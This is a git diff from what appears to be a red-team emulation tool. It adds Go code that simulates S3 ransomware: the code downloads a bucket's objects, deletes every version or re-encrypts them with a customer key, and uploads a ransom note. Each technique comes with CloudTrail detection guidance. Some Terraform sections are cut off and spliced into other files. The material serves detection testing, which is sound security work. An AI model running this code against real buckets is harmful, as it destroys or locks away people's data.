-github.com/aws/aws-sdk-go-v2/internal/ini v1.3.24/go.mod h1:jULHjqqjDlbyTa7pfM7WICATnOv+iOhjletM3N0Xbu8=
-github.com/aws/aws-sdk-go-v2/internal/v4a v1.0.14 h1:ZSIPAkAsCCjYrhqfw2+lNzWDzxzHXEckFkTePL5RSWQ=
-github.com/aws/aws-sdk-go-v2/internal/v4a v1.0.14/go.mod h1:AyGgqiKv9ECM6IZeNQtdT8NnMvUb3/2wokeq2Fgryto=
+github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.4.35 h1:SijA0mgjV8E+8G45ltVHs0fvKpTj8xmZJ3VwhGKtUSI=
+github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.4.35/go.mod h1:SJC1nEVVva1g3pHAIdCp7QsRIkMmLAgoDquQ9Rr8kYw=
+github.com/aws/aws-sdk-go-v2/internal/ini v1.3.42 h1:GPUcE/Yq7Ur8YSUk6lVkoIMWnJNO0HT18GUzCWCgCI0=
+github.com/aws/aws-sdk-go-v2/internal/ini v1.3.42/go.mod h1:rzfdUlfA+jdgLDmPKjd3Chq9V7LVLYo1Nz++Wb91aRo=
+github.com/aws/aws-sdk-go-v2/internal/v4a v1.1.4 h1:6lJvvkQ9HmbHZ4h/IEwclwv2mrTW8Uq1SOB/kXy0mfw=
+github.com/aws/aws-sdk-go-v2/internal/v4a v1.1.4/go.mod h1:1PrKYwxTM+zjpw9Y41KFtoJCQrJ34Z47Y4VgVbfndjo=
github.com/aws/aws-sdk-go-v2/service/cloudtrail v1.19.1 h1:MvowO2iiy2oKDGxFMe9ZnNxs5uKiIP3x1NThF9/dLns=
github.com/aws/aws-sdk-go-v2/service/cloudtrail v1.19.1/go.mod h1:VcHQDIdzSaBM9l0RMG0Eu7n92rnWMgl5JPanjvwcdJk=
github.com/aws/aws-sdk-go-v2/service/ec2 v1.63.1 h1:jSS5gynKz4XaGcs6m25idCTN+tvPkRJ2WedSWCcZEjI=
github.com/aws/aws-sdk-go-v2/service/ec2 v1.63.1/go.mod h1:0+6fPoY0SglgzQUs2yml7X/fup12cMlVumJufh5npRQ=
github.com/aws/aws-sdk-go-v2/service/iam v1.18.20 h1:Kv+0rsPs7+Q7b2t9UAVUZONv2qdfSInySmBC9kaCyd8=
github.com/aws/aws-sdk-go-v2/service/iam v1.18.20/go.mod h1:pDBRPE4AibneAh4P6fZuU3eUkAgYirM88o2M2MxIXlg=
-github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.9.9 h1:Lh1AShsuIJTwMkoxVCAYPJgNG5H+eN6SmoUn8nOZ5wE=
-github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.9.9/go.mod h1:a9j48l6yL5XINLHLcOKInjdvknN+vWqPBxqeIDw7ktw=
-github.com/aws/aws-sdk-go-v2/service/internal/checksum v1.1.18 h1:BBYoNQt2kUZUUK4bIPsKrCcjVPUMNsgQpNAwhznK/zo=
-github.com/aws/aws-sdk-go-v2/service/internal/checksum v1.1.18/go.mod h1:NS55eQ4YixUJPTC+INxi2/jCqe1y2Uw3rnh9wEOVJxY=
-github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.9.17 h1:Jrd/oMh0PKQc6+BowB+pLEwLIgaQF29eYbe7E1Av9Ug=
+github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.9.14 h1:m0QTSI6pZYJTk5WSKx3fm5cNW/DCicVzULBgU/6IyD0=
+github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.9.14/go.mod h1:dDilntgHy9WnHXsh7dDtUPgHKEfTJIBUTHM8OWm0f/0=
+github.com/aws/aws-sdk-go-v2/service/internal/checksum v1.1.36 h1:eev2yZX7esGRjqRbnVk1UxMLw4CyVZDpZXRCcy75oQk=
+github.com/aws/aws-sdk-go-v2/service/internal/checksum v1.1.36/go.mod h1:lGnOkH9NJATw0XEPcAknFBj3zzNTEGRHtSw+CwC1YTg=
github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.9.17/go.mod h1:4nYOrY41Lrbk2170/BGkcJKBhws9Pfn8MG3aGqjjeFI=
-github.com/aws/aws-sdk-go-v2/service/internal/s3shared v1.13.17 h1:HfVVR1vItaG6le+Bpw6P4midjBDMKnjMyZnw9MXYUcE=
-github.com/aws/aws-sdk-go-v2/service/internal/s3shared v1.13.17/go.mod h1:YqMdV+gEKCQ59NrB7rzrJdALeBIsYiVi8Inj3+KcqHI=
+github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.9.35 h1:CdzPW9kKitgIiLV1+MHobfR5Xg25iYnyzWZhyQuSlDI=
+github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.9.35/go.mod h1:QGF2Rs33W5MaN9gYdEQOBBFPLwTZkEhRwI33f7KIG0o=
+github.com/aws/aws-sdk-go-v2/service/internal/s3shared v1.15.4 h1:v0jkRigbSD6uOdwcaUQmgEwG1BkPfAPDqaeNt/29ghg=
+github.com/aws/aws-sdk-go-v2/service/internal/s3shared v1.15.4/go.mod h1:LhTyt8J04LL+9cIt7pYJ5lbS/U98ZmXovLOR/4LUsk8=
github.com/aws/aws-sdk-go-v2/service/lambda v1.24.7 h1:oL0zUTbYgb9J48x/C/Vg7WoM92W+i24Lk7EwCB/ExVs=
github.com/aws/aws-sdk-go-v2/service/lambda v1.24.7/go.mod h1:XKNjqEFXDuprTv4XxJEyz7gyitOrNFQZCsLNoxLZh/k=
github.com/aws/aws-sdk-go-v2/service/organizations v1.16.13 h1:MDVXHnv3dioSBDzz9q/8bw8uSm8twVt6VzL2B95XZQ8=
@@ -76,20 +83,21 @@ github.com/aws/aws-sdk-go-v2/service/rds v1.26.1 h1:tiXsw36GaRUWMcH5uRM2uM7vo+bN
github.com/aws/aws-sdk-go-v2/service/rds v1.26.1/go.mod h1:d8jJiNpy2cyl52sw5msQQ12ajEbPAK+twYPR7J35slw=
github.com/aws/aws-sdk-go-v2/service/rolesanywhere v1.0.10 h1:FYBnb1z07t3qpAFddDMIJskPEjWEIMbK4Dv/FWDX06s=
github.com/aws/aws-sdk-go-v2/service/rolesanywhere v1.0.10/go.mod h1:61Oc8W4jS9kp9xNyrBkzir82bq5AV7moeXLkHR6nzLY=
-github.com/aws/aws-sdk-go-v2/service/s3 v1.27.11 h1:3/gm/JTX9bX8CpzTgIlrtYpB3EVBDxyg/GY/QdcIEZw=
-github.com/aws/aws-sdk-go-v2/service/s3 v1.27.11/go.mod h1:fmgDANqTUCxciViKl9hb/zD5LFbvPINFRgWhDbR+vZo=
+github.com/aws/aws-sdk-go-v2/service/s3 v1.38.5 h1:A42xdtStObqy7NGvzZKpnyNXvoOmm+FENobZ0/ssHWk=
+github.com/aws/aws-sdk-go-v2/service/s3 v1.38.5/go.mod h1:rDGMZA7f4pbmTtPOk5v5UM2lmX6UAbRnMDJeDvnH7AM=
github.com/aws/aws-sdk-go-v2/service/secretsmanager v1.16.3 h1:d5S+OhXne5O3cIo999RARy/N1dgXW2ldWgD53qbEAP4=
github.com/aws/aws-sdk-go-v2/service/secretsmanager v1.16.3/go.mod h1:+X/VSQcuvHPWPRlM64HoWUJAPwsD86KpU9Z52lrsodM=
github.com/aws/aws-sdk-go-v2/service/ssm v1.31.0 h1:zBiXS2v+ycKZ61bTBR1jGqIJhEW7Qjcl8c/mrkUNeog=
github.com/aws/aws-sdk-go-v2/service/ssm v1.31.0/go.mod h1:JtkQSJFGEovwP6s+guH5Ap7iUemh3nMqHtg5liCv9ok=
-github.com/aws/aws-sdk-go-v2/service/sso v1.11.23 h1:pwvCchFUEnlceKIgPUouBJwK81aCkQ8UDMORfeFtW10=
-github.com/aws/aws-sdk-go-v2/service/sso v1.11.23/go.mod h1:/w0eg9IhFGjGyyncHIQrXtU8wvNsTJOP0R6PPj0wf80=
-github.com/aws/aws-sdk-go-v2/service/ssooidc v1.13.6 h1:OwhhKc1P9ElfWbMKPIbMMZBV6hzJlL2JKD76wNNVzgQ=
-github.com/aws/aws-sdk-go-v2/service/ssooidc v1.13.6/go.mod h1:csZuQY65DAdFBt1oIjO5hhBR49kQqop4+lcuCjf2arA=
-github.com/aws/aws-sdk-go-v2/service/sts v1.16.19 h1:9pPi0PsFNAGILFfPCk8Y0iyEBGc6lu6OQ97U7hmdesg=
-github.com/aws/aws-sdk-go-v2/service/sts v1.16.19/go.mod h1:h4J3oPZQbxLhzGnk+j9dfYHi5qIOVJ5kczZd658/ydM=
-github.com/aws/smithy-go v1.13.3 h1:l7LYxGuzK6/K+NzJ2mC+VvLUbae0sL3bXU//04MkmnA=
+github.com/aws/aws-sdk-go-v2/service/sso v1.13.5 h1:oCvTFSDi67AX0pOX3PuPdGFewvLRU2zzFSrTsgURNo0=
+github.com/aws/aws-sdk-go-v2/service/sso v1.13.5/go.mod h1:fIAwKQKBFu90pBxx07BFOMJLpRUGu8VOzLJakeY+0K4=
+github.com/aws/aws-sdk-go-v2/service/ssooidc v1.15.5 h1:dnInJb4S0oy8aQuri1mV6ipLlnZPfnsDNB9BGO9PDNY=
+github.com/aws/aws-sdk-go-v2/service/ssooidc v1.15.5/go.mod h1:yygr8ACQRY2PrEcy3xsUI357stq2AxnFM6DIsR9lij4=
+github.com/aws/aws-sdk-go-v2/service/sts v1.21.5 h1:CQBFElb0LS8RojMJlxRSo/HXipvTZW2S44Lt9Mk2aYQ=
+github.com/aws/aws-sdk-go-v2/service/sts v1.21.5/go.mod h1:VC7JDqsqiwXukYEDjoHh9U0fOJtNWh04FPQz4ct4GGU=
github.com/aws/smithy-go v1.13.3/go.mod h1:Tg+OJXh4MB2R/uN61Ko2f6hTZwB/ZYGOtib8J3gBHzA=
+github.com/aws/smithy-go v1.14.2 h1:MJU9hqBGbvWZdApzpvoF2WAIJDbtjK2NDJSiJP7HblQ=
+github.com/aws/smithy-go v1.14.2/go.mod h1:Tg+OJXh4MB2R/uN61Ko2f6hTZwB/ZYGOtib8J3gBHzA=
github.com/cenkalti/backoff/v4 v4.2.1 h1:y4OZtCnogmCPw98Zjyt5a6+QwPLGkiQsYW5oUqylYbM=
github.com/cenkalti/backoff/v4 v4.2.1/go.mod h1:Y3VNntkOUPxTVeUxJ/G5vcM//AlwfmyYozVcomhLiZE=
github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU=
diff --git a/v2/internal/attacktechniques/aws/impact/s3-ransomware-batch-deletion/main.go b/v2/internal/attacktechniques/aws/impact/s3-ransomware-batch-deletion/main.go
new file mode 100644
index 00000000..63f20d1a
--- /dev/null
+++ b/v2/internal/attacktechniques/aws/impact/s3-ransomware-batch-deletion/main.go
@@ -0,0 +1,141 @@
+package aws
+
+import (
+ "context"
+ _ "embed"
+ "fmt"
+ "github.com/aws/aws-sdk-go-v2/service/s3"
+ "github.com/aws/aws-sdk-go-v2/service/s3/types"
+ "github.com/datadog/stratus-red-team/v2/internal/utils"
+ "github.com/datadog/stratus-red-team/v2/pkg/stratus"
+ "github.com/datadog/stratus-red-team/v2/pkg/stratus/mitreattack"
+ "strings"
+
+ "log"
+ "strconv"
+)
+
+//go:embed main.tf
+var tf []byte
+
+const RansomNoteFilename = `FILES-DELETED.txt`
+const RansomNoteContents = `Your data is backed up in a safe location. To negotiate with us for recovery, get in touch with rick@astley.io. In 7 days, if we don't hear from you, that data will either be sold or published, and might no longer be recoverable.'`
+
+const CodeBlock = "```"
+
+func init() {
+ stratus.GetRegistry().RegisterAttackTechnique(&stratus.AttackTechnique{
+ ID: "aws.impact.s3-ransomware-batch-deletion",
+ FriendlyName: "S3 Ransomware through batch file deletion",
+ Description: `
+Simulates S3 ransomware activity that empties a bucket through batch deletion, then uploads a ransom note.
+
+Warm-up:
+
+- Create an S3 bucket, with versioning enabled
+- Create a number of files in the bucket, with random content and extensions
+
+Detonation:
+
+- List all available objects and their versions in the bucket
+- Delete all objects in the bucket in one request, using [DeleteObjects](https://docs.aws.amazon.com/AmazonS3/latest/API/API_DeleteObjects.html)
+- Upload a ransom note to the bucket
+
+Note: The attack does not need to disable versioning, which does not protect against ransomware. This attack removes all versions of the objects in the bucket.
+
+References:
+
+- [The anatomy of a ransomware event targeting S3 (re:Inforce, 2022)](https://d1.awsstatic.com/events/aws-reinforce-2022/TDR431_The-anatomy-of-a-ransomware-event-targeting-data-residing-in-Amazon-S3.pdf)
+- [The anatomy of ransomware event targeting data residing in Amazon S3 (AWS Security Blog)](https://aws.amazon.com/blogs/security/anatomy-of-a-ransomware-event-targeting-data-in-amazon-s3/)
+- [Ransomware in the cloud](https://invictus-ir.medium.com/ransomware-in-the-cloud-7f14805bbe82)
+- https://www.firemon.com/what-you-need-to-know-about-ransomware-in-aws/
+- https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/
+`,
+ Detection: `
+You can detect ransomware activity by identifying abnormal patterns of objects being downloaded or deleted in the bucket.
+In general, this can be done through [CloudTrail S3 data events](https://docs.aws.amazon.com/AmazonS3/latest/userguide/cloudtrail-logging-s3-info.html#cloudtrail-object-level-tracking) (DeleteObject
, DeleteObjects
, GetObject
),
+[CloudWatch metrics](https://docs.aws.amazon.com/AmazonS3/latest/userguide/metrics-dimensions.html#s3-request-cloudwatch-metrics) (NumberOfObjects
),
+or [GuardDuty findings](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) ([Exfiltration:S3/AnomalousBehavior](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-s3.html#exfiltration-s3-anomalousbehavior)
, [Impact:S3/AnomalousBehavior.Delete](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-s3.html#impact-s3-anomalousbehavior-delete)
).
+
+Sample DeleteObjects
event, shortened for readability:
+
+` + CodeBlock + `json hl_lines="3 8"
+{
+ "eventSource": "s3.amazonaws.com",
+ "eventName": "DeleteObjects",
+ "eventCategory": "Data"
+ "managementEvent": false,
+ "readOnly": false
+ "requestParameters": {
+ "bucketName": "target-bucket",
+ "Host": "target-bucket.s3.us-east-1.amazonaws.com",
+ "delete": "",
+ "x-id": "DeleteObjects"
+ },
+ "responseElements": null,
+ "resources": [
+ {
+ "type": "AWS::S3::Object",
+ "ARNPrefix": "arn:aws:s3:::target-bucket/"
+ },
+ {
+ "accountId": "012345678901",
+ "type": "AWS::S3::Bucket",
+ "ARN": "arn:aws:s3:::target-bucket"
+ }
+ ],
+ "eventType": "AwsApiCall",
+ "recipientAccountId": "012345678901"
+}
+` + CodeBlock + `
+
+Note that DeleteObjects
does not indicate the list of files deleted, or how many files were removed (which can be up to 1'000 files per call).'
+`,
+ Platform: stratus.AWS,
+ IsIdempotent: false, // ransomware cannot be reverted :)
+ MitreAttackTactics: []mitreattack.Tactic{mitreattack.Impact},
+ PrerequisitesTerraformCode: tf,
+ Detonate: detonate,
+ })
+}
+
+func detonate(params map[string]string, providers stratus.CloudProviders) error {
+ bucketName := params["bucket_name"]
+ s3Client := s3.NewFromConfig(providers.AWS().GetConnection())
+
+ log.Println("Simulating a ransomware attack on bucket " + bucketName)
+
+ if err := utils.DownloadAllObjects(s3Client, bucketName); err != nil {
+ return fmt.Errorf("failed to download bucket objects")
+ }
+
+ if err := removeAllObjects(s3Client, bucketName); err != nil {
+ return fmt.Errorf("failed to remove objects in the bucket: %w", err)
+ }
+
+ log.Println("Uploading fake ransom note")
+ if err := utils.UploadFile(s3Client, bucketName, RansomNoteFilename, strings.NewReader(RansomNoteContents)); err != nil {
+ return fmt.Errorf("failed to upload ransom note to the bucket: %w", err)
+ }
+
+ return nil
+}
+
+func removeAllObjects(s3Client *s3.Client, bucketName string) error {
+ objects, err := utils.ListAllObjectVersions(s3Client, bucketName)
+ if err != nil {
+ return fmt.Errorf("unable to list bucket objects: %w", err)
+ }
+ log.Println("Found " + strconv.Itoa(len(objects)) + " object versions to delete")
+ log.Println("Removing all objects through a DeleteObjects batch request")
+ _, err = s3Client.DeleteObjects(context.Background(), &s3.DeleteObjectsInput{
+ Bucket: &bucketName,
+ Delete: &types.Delete{Objects: objects},
+ })
+ if err != nil {
+ return fmt.Errorf("unable to delete bucket objects: %w", err)
+ }
+ log.Println("Successfully removed all objects from the bucket")
+ return nil
+
+}
diff --git a/v2/internal/attacktechniques/aws/impact/s3-ransomware-batch-deletion/main.tf b/v2/internal/attacktechniques/aws/impact/s3-ransomware-batch-deletion/main.tf
new file mode 100644
index 00000000..d8d12d25
--- /dev/null
+++ b/v2/internal/attacktechniques/aws/impact/s3-ransomware-batch-deletion/main.tf
@@ -0,0 +1,398 @@
+terraform {
+ required_providers {
+ aws = {
+ source = "hashicorp/aws"
+ version = "~> 3.0"
+ }
+ }
+}
+provider "aws" {
+ skip_region_validation = true
+ skip_credentials_validation = true
+ skip_get_ec2_platforms = true
+}
+
+resource "random_string" "suffix" {
+ length = 6
+ min_lower = 6
+ special = false
+}
+
+locals {
+ resource_prefix = "stratus-red-team-ransomware-bucket"
+ bucket_name = format("%s-%s", local.resource_prefix, random_string.suffix.result)
+ num-files = 51
+ min-size-bytes = 1
+ max-size-bytes = 200
+ file-extensions = ["sql", "txt", "docx", "pdf", "png", "tar.gz"]
+ wordlist = split("\n", <DeleteObject, DeleteObjects
, GetObject
, CopyObject
),
+[CloudWatch metrics](https://docs.aws.amazon.com/AmazonS3/latest/userguide/metrics-dimensions.html#s3-request-cloudwatch-metrics) (NumberOfObjects
),
+or [GuardDuty findings](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) ([Exfiltration:S3/AnomalousBehavior](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-s3.html#exfiltration-s3-anomalousbehavior)
, [Impact:S3/AnomalousBehavior.Delete](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-s3.html#impact-s3-anomalousbehavior-delete)
).
+
+Sample CloudTrail event CopyObject
, when a file is encrypted with a client-side key:
+
+` + CodeBlock + `json hl_lines="3 9 11 12"
+{
+ "eventSource": "s3.amazonaws.com",
+ "eventName": "CopyObject",
+ "eventType": "AwsApiCall",
+ "eventCategory": "Data",
+ "managementEvent": false,
+ "readOnly": false,
+ "requestParameters": {
+ "bucketName": "target bucket",
+ "Host": "target bucket.s3.us-east-1.amazonaws.com",
+ "x-amz-server-side-encryption-customer-algorithm": "AES256",
+ "x-amz-copy-source": "target bucket/target file.txt",
+ "key": "target file.txt",
+ "x-id": "CopyObject"
+ },
+ "responseElements": {
+ "x-amz-server-side-encryption-customer-algorithm": "AES256"
+ },
+ "resources": [
+ {
+ "type": "AWS::S3::Object",
+ "ARN": "arn:aws:s3:::target bucket/target file.txt"
+ },
+ {
+ "accountId": "012345678901",
+ "type": "AWS::S3::Bucket",
+ "ARN": "arn:aws:s3:::target bucket"
+ }
+ ]
+}
+` + CodeBlock + `
+`,
+ Platform: stratus.AWS,
+ IsIdempotent: false,
+ MitreAttackTactics: []mitreattack.Tactic{mitreattack.Impact},
+ PrerequisitesTerraformCode: tf,
+ Detonate: detonate,
+ Revert: revert, // We need to decrypt files before cleaning up, otherwise Terraform can't delete them properly
+ })
+}
+
+func detonate(params map[string]string, providers stratus.CloudProviders) error {
+ bucketName := params["bucket_name"]
+ s3Client := s3.NewFromConfig(providers.AWS().GetConnection())
+
+ log.Println("Simulating a ransomware attack on bucket " + bucketName)
+
+ if err := utils.DownloadAllObjects(s3Client, bucketName); err != nil {
+ return fmt.Errorf("failed to download bucket objects")
+ }
+
+ if err := encryptAllObjects(s3Client, bucketName); err != nil {
+ return fmt.Errorf("failed to encrypt objects in the bucket: %w", err)
+ }
+
+ log.Println("Uploading fake ransom note")
+ if err := utils.UploadFile(s3Client, bucketName, RansomNoteFilename, strings.NewReader(RansomNoteContents)); err != nil {
+ return fmt.Errorf("failed to upload ransom note to the bucket: %w", err)
+ }
+
+ return nil
+}
+
+func encryptAllObjects(s3Client *s3.Client, bucketName string) error {
+ objects, err := utils.ListAllObjectVersions(s3Client, bucketName)
+ if err != nil {
+ return fmt.Errorf("unable to list bucket objects: %w", err)
+ }
+ log.Println("Found " + strconv.Itoa(len(objects)) + " objects to encrypt")
+ log.Println("Encrypting all objects one by one with the secret AES256 encryption key '" + EncryptionKey + "'")
+
+ for _, object := range objects {
+ _, err := s3Client.CopyObject(context.Background(), &s3.CopyObjectInput{
+ Bucket: &bucketName,
+ Key: object.Key,
+ CopySource: aws.String(bucketName + "/" + *object.Key),
+ SSECustomerKey: aws.String(Base64EncodedEncryptionKey),
+ SSECustomerAlgorithm: aws.String("AES256"),
+ SSECustomerKeyMD5: aws.String(EncryptionKeyMD5),
+ })
+ if err != nil {
+ return fmt.Errorf("unable to encrypt file %s: %w", *object.Key, err)
+ }
+ }
+ log.Println("Successfully encrypted all objects in the bucket")
+ return nil
+}
+
+func revert(params map[string]string, providers stratus.CloudProviders) error {
+ bucketName := params["bucket_name"]
+ s3Client := s3.NewFromConfig(providers.AWS().GetConnection())
+
+ log.Println("Decrypting all files in the bucket")
+ if err := decryptAllObjects(s3Client, bucketName); err != nil {
+ return fmt.Errorf("failed to decrypt objects in the bucket: %w", err)
+ }
+
+ return nil
+}
+
+func decryptAllObjects(s3Client *s3.Client, bucketName string) error {
+ objects, err := utils.ListAllObjectVersions(s3Client, bucketName)
+ if err != nil {
+ return fmt.Errorf("unable to list bucket objects: %w", err)
+ }
+ log.Println("Found " + strconv.Itoa(len(objects)) + " objects to encrypt")
+ log.Println("Decrypting all objects one by one with the secret AES256 encryption key '" + EncryptionKey + "'")
+
+ for _, object := range objects {
+ if *object.Key == RansomNoteFilename {
+ // ignore the fake ransom note
+ continue
+ }
+ result, err := s3Client.GetObject(context.Background(), &s3.GetObjectInput{
+ Bucket: &bucketName,
+ Key: object.Key,
+ SSECustomerKey: aws.String(Base64EncodedEncryptionKey),
+ SSECustomerAlgorithm: aws.String("AES256"),
+ SSECustomerKeyMD5: aws.String(EncryptionKeyMD5),
+ })
+ if err != nil {
+ return fmt.Errorf("unable to decrypt file %s: %w", *object.Key, err)
+ }
+
+ _, err = s3Client.DeleteObject(context.Background(), &s3.DeleteObjectInput{
+ Bucket: &bucketName,
+ Key: object.Key,
+ })
+ if err != nil {
+ return fmt.Errorf("unable to delete encrypted file %s: %w", *object.Key, err)
+ }
+ fileContent, _ := io.ReadAll(result.Body)
+
+ err = utils.UploadFile(s3Client, bucketName, *object.Key, strings.NewReader(string(fileContent)))
+ if err != nil {
+ return fmt.Errorf("unable to re-upload decrypted file %s: %w", *object.Key, err)
+ }
+ }
+ log.Println("Successfully encrypted all objects in the bucket")
+ return nil
+}
diff --git a/v2/internal/attacktechniques/aws/impact/s3-ransomware-client-side-encryption/main.tf b/v2/internal/attacktechniques/aws/impact/s3-ransomware-client-side-encryption/main.tf
new file mode 100644
index 00000000..b7dabc33
--- /dev/null
+++ b/v2/internal/attacktechniques/aws/impact/s3-ransomware-client-side-encryption/main.tf
@@ -0,0 +1,388 @@
+terraform {
+ required_providers {
+ aws = {
+ source = "hashicorp/aws"
+ version = "~> 3.0"
+ }
+ }
+}
+provider "aws" {
+ skip_region_validation = true
+ skip_credentials_validation = true
+ skip_get_ec2_platforms = true
+}
+
+resource "random_string" "suffix" {
+ length = 6
+ min_lower = 6
+ special = false
+}
+
+locals {
+ resource_prefix = "stratus-red-team-ransomware-bucket"
+ bucket_name = format("%s-%s", local.resource_prefix, random_string.suffix.result)
+ num-files = 51
+ min-size-bytes = 1
+ max-size-bytes = 200
+ file-extensions = ["sql", "txt", "docx", "pdf", "png", "tar.gz"]
+ wordlist = split("\n", <DeleteObject, DeleteObjects
, GetObject
),
+[CloudWatch metrics](https://docs.aws.amazon.com/AmazonS3/latest/userguide/metrics-dimensions.html#s3-request-cloudwatch-metrics) (NumberOfObjects
),
+or [GuardDuty findings](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) ([Exfiltration:S3/AnomalousBehavior](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-s3.html#exfiltration-s3-anomalousbehavior)
, [Impact:S3/AnomalousBehavior.Delete](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-s3.html#impact-s3-anomalousbehavior-delete)
).
+
+Sample CloudTrail event DeleteObject
, shortened for readability:
+
+` + CodeBlock + `json hl_lines="3 8 10"
+{
+ "eventSource": "s3.amazonaws.com",
+ "eventName": "DeleteObject",
+ "eventCategory": "Data",
+ "managementEvent": false,
+ "readOnly": false,
+ "requestParameters": {
+ "bucketName": "target-bucket",
+ "Host": "target-bucket.s3.us-east-1.amazonaws.com",
+ "key": "target-object-key",
+ "x-id": "DeleteObject"
+ },
+ "resources": [
+ {
+ "type": "AWS::S3::Object",
+ "ARN": "arn:aws:s3:::target-bucket/target-object-key"
+ },
+ {
+ "accountId": "012345678901",
+ "type": "AWS::S3::Bucket",
+ "ARN": "arn:aws:s3:::target-bucket"
+ }
+ ],
+ "eventType": "AwsApiCall",
+ "recipientAccountId": "012345678901"
+}
+` + CodeBlock + `
+`,
+ Platform: stratus.AWS,
+ IsIdempotent: false, // ransomware cannot be reverted :)
+ MitreAttackTactics: []mitreattack.Tactic{mitreattack.Impact},
+ PrerequisitesTerraformCode: tf,
+ Detonate: detonate,
+ })
+}
+
+func detonate(params map[string]string, providers stratus.CloudProviders) error {
+ bucketName := params["bucket_name"]
+ s3Client := s3.NewFromConfig(providers.AWS().GetConnection())
+
+ log.Println("Simulating a ransomware attack on bucket " + bucketName)
+
+ if err := utils.DownloadAllObjects(s3Client, bucketName); err != nil {
+ return fmt.Errorf("failed to download bucket objects")
+ }
+
+ if err := removeAllObjects(s3Client, bucketName); err != nil {
+ return fmt.Errorf("failed to remove objects in the bucket: %w", err)
+ }
+
+ log.Println("Uploading fake ransom note")
+ if err := utils.UploadFile(s3Client, bucketName, RansomNoteFilename, strings.NewReader(RansomNoteContents)); err != nil {
+ return fmt.Errorf("failed to upload ransom note to the bucket: %w", err)
+ }
+
+ return nil
+}
+
+func removeAllObjects(s3Client *s3.Client, bucketName string) error {
+ objects, err := utils.ListAllObjectVersions(s3Client, bucketName)
+ if err != nil {
+ return fmt.Errorf("unable to list bucket objects: %w", err)
+ }
+ log.Println("Found " + strconv.Itoa(len(objects)) + " object versions to delete")
+ log.Println("Removing all objects one by one individually")
+ for _, object := range objects {
+ _, err := s3Client.DeleteObject(context.Background(), &s3.DeleteObjectInput{
+ Bucket: &bucketName,
+ Key: object.Key,
+ VersionId: object.VersionId,
+ })
+ if err != nil {
+ return fmt.Errorf("unable to delete file %s: %w", *object.Key, err)
+ }
+ }
+ log.Println("Successfully removed all objects from the bucket")
+ return nil
+}
diff --git a/v2/internal/attacktechniques/aws/impact/s3-ransomware-individual-deletion/main.tf b/v2/internal/attacktechniques/aws/impact/s3-ransomware-individual-deletion/main.tf
new file mode 100644
index 00000000..d8d12d25
--- /dev/null
+++ b/v2/internal/attacktechniques/aws/impact/s3-ransomware-individual-deletion/main.tf
@@ -0,0 +1,398 @@
+terraform {
+ required_providers {
+ aws = {
+ source = "hashicorp/aws"
+ version = "~> 3.0"
+ }
+ }
+}
+provider "aws" {
+ skip_region_validation = true
+ skip_credentials_validation = true
+ skip_get_ec2_platforms = true
+}
+
+resource "random_string" "suffix" {
+ length = 6
+ min_lower = 6
+ special = false
+}
+
+locals {
+ resource_prefix = "stratus-red-team-ransomware-bucket"
+ bucket_name = format("%s-%s", local.resource_prefix, random_string.suffix.result)
+ num-files = 51
+ min-size-bytes = 1
+ max-size-bytes = 200
+ file-extensions = ["sql", "txt", "docx", "pdf", "png", "tar.gz"]
+ wordlist = split("\n", <